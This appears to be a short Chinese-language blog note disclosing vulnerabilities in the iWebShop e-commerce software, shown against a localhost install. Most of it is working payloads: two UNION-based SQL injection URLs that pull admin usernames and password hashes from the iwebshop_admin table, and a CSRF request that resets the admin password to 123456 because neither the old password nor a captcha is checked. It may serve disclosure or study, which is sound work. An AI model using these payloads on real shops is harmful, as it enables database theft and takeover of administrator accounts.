后台sql注入
```
http://localhost/test/iwebshop/index.php?controller=system&action=admin_edit&id=1 and 1=2 union select 1,admin_name,3,4,5,password,7,8,9 from iwebshop_admin#
```

前台的sql注入(需要商家账号)
```
http://localhost/test/iwebshop/index.php?controller=seller&action=spec_list
```
在规格列表这添加一个 `'aaaa`
看MySQL监控
```
17:14 SELECT * FROM iwebshop_spec WHERE id = 1 'aaaa limit 1
```
没有转义
然后构造payload
```
http://localhost/test/iwebshop/index.php?controller=goods&action=spec_edit&id=1 and 1=2 union select 1,admin_name,3,4,password,6,7 from iwebshop_admin#
```

CSRF
访问
```
http://localhost/test/iwebshop/index.php?controller=system&action=admin_repwd
```
修改密码
POST:
```
http://localhost/test/iwebshop/index.php?controller=system&action=admin_repwd_act
```
`password=123456&repassword=123456`
这里没有验证原始密码,也没有验证码
暂无评论